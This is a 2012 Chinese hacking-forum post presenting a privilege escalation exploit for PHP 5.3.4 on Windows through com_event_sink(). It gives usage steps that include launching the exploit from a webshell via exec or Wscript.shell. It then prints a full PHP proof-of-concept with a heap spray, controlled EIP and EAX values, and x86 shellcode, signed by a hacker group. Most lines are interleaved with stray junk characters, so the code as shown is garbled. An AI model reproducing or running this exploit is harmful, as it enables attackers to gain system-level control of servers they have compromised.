找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2083|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中. V" Z  y9 p3 d8 q
( G( G$ e4 E! s; `+ @$ L- D0 c
测试方法如下:cmd /c x:\php\php.exe x:\test.php/ G. `1 Q3 ~  [& a) \# R& t! i
" S& k9 ?+ v8 Y, z
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php; Y$ D3 `0 d- c7 Q" G
这里是两个测试的截图:+ X( u1 k/ Y; o% g
+ s! p+ q, E# o: }

/ t4 G5 u) U  u& z% r5 g$ Z0 h/ R  Z4 [

& h, {9 u* x; f; B0 d* H" m0 v
2 r/ w% r( e) A成功利用此漏洞的攻击者将获得系统的最高权限
. k# ], W* e4 K, h0 y& _. Z# _: b9 h, u- D1 C; q
: S3 p, |* q/ E. F" ~" D

! M* e. c' z+ l/ S5 R: x/ R+ }" {# e( T0 j$ ^$ H
  Q( U  c3 J) j: g* j. X0 X
关于漏洞分析稍后附上。一下是PoC代码:
. o) S4 q7 e7 F+ ~4 A* e) Q/ \0 H# G- N
<?php
9 k. W6 b  m& M8 O5 Q# ?//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
6 r' l( g/ U4 h" p! K//$eip ="\x44\x43\x42\x41";
8 l) r; [2 I% r, h. h9 r6 ]4 ]$eip= "\x4b\xe8\x57\x78";$ r  G! T6 t' x' ^+ h; |9 }
$eax ="\x80\x01\x8d\x04";
0 Z6 U. @8 K( `5 k# u# M) m4 L. m$deodrant="";
) f' P' W/ X- V# a/ F$axespray = str_repeat($eip.$eax,0x80);
8 p$ q8 |% G8 h* p1 M1 R; ^//048d0190
9 n3 ?9 ], M1 k4 Gecho strlen($axespray);
) M9 h6 |2 q& Y& }6 J/ secho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";8 S- y% }. ^1 u; d8 x, @. ]
echo "Silic Group Hacker Army - BlackBap.Org";
1 a6 W. f- ?& t0 w2 s//19200 ==4B32 4b009 {+ |1 f% n0 R" c4 H8 ]
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
0 `/ o0 m/ o1 G$terminate = "T";
+ J! N5 o6 k# n* L- p$u[] =$deodrant;
; t' e4 u: V' e: {$r[] =$deodrant.$terminate;6 s- J2 B3 _' b# ^
$a[] =$deodrant.$terminate;2 h7 _- ?' P: @  p% J) m
$s[] =$deodrant.$terminate;3 W1 l2 ^6 D2 f8 X3 m+ Q& @' L
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的( T7 k* u) ~+ W
$vVar = new VARIANT(0x048d0000+180);* z$ m. }* k# p+ G+ a+ L& C
//弹窗代码(Shellcode)
4 t' L- y0 z3 V3 j8 w# s$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";5 y5 b$ K$ D) Z. ]! R- c) \
$var2 = new VARIANT(0x41414242);
: W2 V- \/ u: vcom_event_sink($vVar,$var2,$buffer);
( Q( ^; e# f4 Z4 G0 ~9 ~% o2 |?>1 z* h/ R# |3 X

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表